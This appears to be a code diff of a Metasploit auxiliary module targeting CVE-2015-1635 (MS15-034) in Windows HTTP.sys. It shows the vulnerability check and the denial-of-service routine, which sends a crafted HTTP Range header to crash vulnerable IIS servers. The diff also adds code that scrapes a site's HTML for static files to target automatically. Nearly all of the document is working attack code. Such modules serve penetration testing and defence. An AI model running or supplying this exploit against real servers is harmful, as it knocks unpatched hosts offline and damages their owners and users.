@@ -19,10 +19,6 @@ def initialize(info = {})
19
19
This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), a
20
20
vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code
21
21
execution. This module will try to cause a denial-of-service.
22
-
23
- Please note that a valid file resource must be supplied for the TARGETURI option.
24
- By default, IIS provides 'welcome.png' and 'iis-85.png' as resources.
25
- Others may also exist, depending on configuration options.
26
22
} ,
27
23
'Author' =>
28
24
[
@@ -46,7 +42,7 @@ def initialize(info = {})
46
42
47
43
register_options (
48
44
[
49
- OptString . new ( 'TARGETURI' , [ true , 'A valid file resource' , ' /welcome.png'] )
45
+ OptString . new ( 'TARGETURI' , [ false , 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)' , '/ '] )
50
46
] , self . class )
51
47
52
48
deregister_options ( 'RHOST' )
@@ -60,34 +56,38 @@ def run_host(ip)
60
56
if check_host ( ip ) == Exploit ::CheckCode ::Vulnerable
61
57
dos_host ( ip )
62
58
else
63
- print_status ( "#{ ip } : #{ rport } - Probably not vulnerable, will not dos it." )
59
+ print_status ( "#{ peer } - Probably not vulnerable, will not dos it." )
64
60
end
65
61
end
66
62
63
+ # Needed to allow the vulnerable uri to be shared between the #check and #dos
64
+ def target_uri
65
+ @target_uri ||= super
66
+ end
67
+
67
68
def get_file_size ( ip )
68
69
@file_size ||= lambda {
69
70
file_size = -1
70
71
uri = normalize_uri ( target_uri . path )
71
- res = send_request_raw ( { 'uri' => uri } )
72
+ res = send_request_raw ( 'uri' => uri )
72
73
73
74
unless res
74
- vprint_error ( "#{ ip } : #{ rport } - Connection timed out" )
75
+ vprint_error ( "#{ peer } - Connection timed out" )
75
76
return file_size
76
77
end
77
78
78
79
if res . code == 404
79
- vprint_error ( "#{ ip } : #{ rport } - You got a 404. URI must be a valid resource." )
80
+ vprint_error ( "#{ peer } - You got a 404. URI must be a valid resource." )
80
81
return file_size
81
82
end
82
83
83
84
file_size = res . body . length
84
- vprint_status ( "#{ ip } : #{ rport } - File length: #{ file_size } bytes" )
85
+ vprint_status ( "#{ peer } - File length: #{ file_size } bytes" )
85
86
86
87
return file_size
87
88
} . call
88
89
end
89
90
90
-
91
91
def dos_host ( ip )
92
92
file_size = get_file_size ( ip )
93
93
lower_range = file_size - 2
@@ -97,39 +97,79 @@ def dos_host(ip)
97
97
begin
98
98
cli = Rex ::Proto ::Http ::Client . new ( ip )
99
99
cli . connect
100
- req = cli . request_raw ( {
100
+ req = cli . request_raw (
101
101
'uri' => uri ,
102
102
'method' => 'GET' ,
103
103
'headers' => {
104
104
'Range' => "bytes=#{ lower_range } -#{ upper_range } "
105
105
}
106
- } )
106
+ )
107
107
cli . send_request ( req )
108
108
rescue ::Errno ::EPIPE , ::Timeout ::Error
109
109
# Same exceptions the HttpClient mixin catches
110
110
end
111
- print_status ( "#{ ip } : #{ rport } - DOS request sent" )
111
+ print_status ( "#{ peer } - DOS request sent" )
112
112
end
113
113
114
+ def potential_static_files_uris
115
+ uri = normalize_uri ( target_uri . path )
114
116
115
- def check_host ( ip )
116
- return Exploit ::CheckCode ::Unknown if get_file_size ( ip ) == -1
117
+ return [ uri ] unless uri [ -1 , 1 ] == '/'
117
118
118
- uri = normalize_uri ( target_uri . path )
119
- res = send_request_raw ( {
120
- 'uri' => uri ,
121
- 'method' => 'GET' ,
122
- 'headers' => {
123
- 'Range' => "bytes=0-#{ upper_range } "
124
- }
125
- } )
126
- if res && res . body . include? ( 'Requested Range Not Satisfiable' )
127
- return Exploit ::CheckCode ::Vulnerable
128
- elsif res && res . body . include? ( 'The request has an invalid header name' )
129
- return Exploit ::CheckCode ::Safe
130
- else
131
- return Exploit ::CheckCode ::Unknown
119
+ uris = [ "#{ uri } welcome.png" ]
120
+ res = send_request_raw ( 'uri' => uri , 'method' => 'GET' )
121
+
122
+ return uris unless res
123
+
124
+ site_uri = URI . parse ( full_uri )
125
+ page = Nokogiri ::HTML ( res . body . encode ( 'UTF-8' , invalid : :replace , undef : :replace ) )
126
+
127
+ page . xpath ( '//link|//script|//style|//img' ) . each do |tag |
128
+ %w( href src ) . each do |attribute |
129
+ attr_value = tag [ attribute ]
130
+
131
+ next unless attr_value && !attr_value . empty?
132
+
133
+ uri = site_uri . merge ( URI . encode ( attr_value . strip ) )
134
+
135
+ next unless uri . host == vhost || uri . host == rhost
136
+
137
+ uris << uri . path if uri . path =~ /\. [a-z]{2,}$/i # Only keep path with a file
138
+ end
132
139
end
140
+
141
+ uris . uniq
133
142
end
134
143
144
+ def check_host ( ip )
145
+ potential_static_files_uris . each do |potential_uri |
146
+ uri = normalize_uri ( potential_uri )
147
+
148
+ res = send_request_raw (
149
+ 'uri' => uri ,
150
+ 'method' => 'GET' ,
151
+ 'headers' => {
152
+ 'Range' => "bytes=0-#{ upper_range } "
153
+ }
154
+ )
155
+
156
+ vmessage = "#{ peer } - Checking #{ uri } [#{ res . code } ]"
157
+
158
+ if res && res . body . include? ( 'Requested Range Not Satisfiable' )
159
+ vprint_status ( "#{ vmessage } - Vulnerable" )
160
+
161
+ target_uri . path = uri # Needed for the DoS attack
162
+
163
+ return Exploit ::CheckCode ::Vulnerable
164
+ elsif res && res . body . include? ( 'The request has an invalid header name' )
165
+ vprint_status ( "#{ vmessage } - Safe" )
166
+
167
+ return Exploit ::CheckCode ::Safe
168
+ else
169
+ vprint_status ( "#{ vmessage } - Unknown" )
170
+ end
171
+ end
172
+
173
+ Exploit ::CheckCode ::Unknown
174
+ end
135
175
end
0 commit comments